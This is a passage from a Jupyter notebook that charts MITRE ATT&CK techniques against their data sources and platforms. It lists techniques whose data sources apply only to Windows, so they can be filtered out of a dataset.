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", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 53, "metadata": {}, "output_type": "execute_result" } ], "source": [ "alt.Chart(df_6).mark_bar().encode(x=alt.X('technique', stack=\"normalize\"), y='data_sources', color='platform').properties(height=200)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are techniques that consider Windows Error Reporting, Windows Registry, and Windows event logs as data sources and they also consider platforms like Linux and masOS. We do not need to consider this rows because those data sources can only be managed at a Windows environment. These are the techniques that we should not consider in our data base:" ] }, { "cell_type": "code", "execution_count": 54, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
techniquedata_sources
1792Credential DumpingPowerShell logs
95Exploitation for Defense EvasionWindows Error Reporting
131Exploitation of Remote ServicesWindows Error Reporting
238Exploitation for Credential AccessWindows Error Reporting
1186Exploitation for Privilege EscalationWindows Error Reporting
987Disabling Security ToolsWindows Registry
1113Third-party SoftwareWindows Registry
1282Input CaptureWindows Registry
1307Process InjectionWindows Registry
3File Permissions ModificationWindows event logs
571Create AccountWindows event logs
